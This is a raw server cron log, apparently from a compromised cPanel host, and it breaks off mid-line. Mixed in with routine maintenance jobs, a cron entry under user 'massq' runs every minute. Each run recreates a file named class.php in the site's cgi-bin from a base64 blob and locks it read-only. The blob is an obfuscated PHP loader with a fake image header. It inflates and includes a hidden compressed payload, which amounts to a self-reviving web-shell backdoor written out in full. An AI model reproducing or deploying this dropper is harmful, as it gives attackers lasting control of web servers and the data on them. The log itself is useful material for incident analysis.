Apr 11 00:27:01 server CROND[25315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:27:01 server CROND[25316]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 00:28:01 server CROND[25379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:29:01 server CROND[25525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:30:02 server CROND[25589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 00:30:02 server CROND[25592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:30:02 server CROND[25593]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 11 00:30:02 server CROND[25594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:30:02 server CROND[25595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:31:01 server CROND[25710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:32:01 server CROND[25778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:33:01 server CROND[25940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:34:01 server CROND[26029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:35:01 server CROND[26100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:35:01 server CROND[26102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:35:01 server CROND[26101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:35:01 server CROND[26104]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 00:35:01 server CROND[26103]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 00:36:01 server CROND[26232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:37:01 server CROND[26291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:38:01 server CROND[26458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:39:01 server CROND[26522]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 00:39:01 server CROND[26523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:40:01 server CROND[26599]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 00:40:01 server CROND[26600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:40:01 server CROND[26601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:40:01 server CROND[26602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 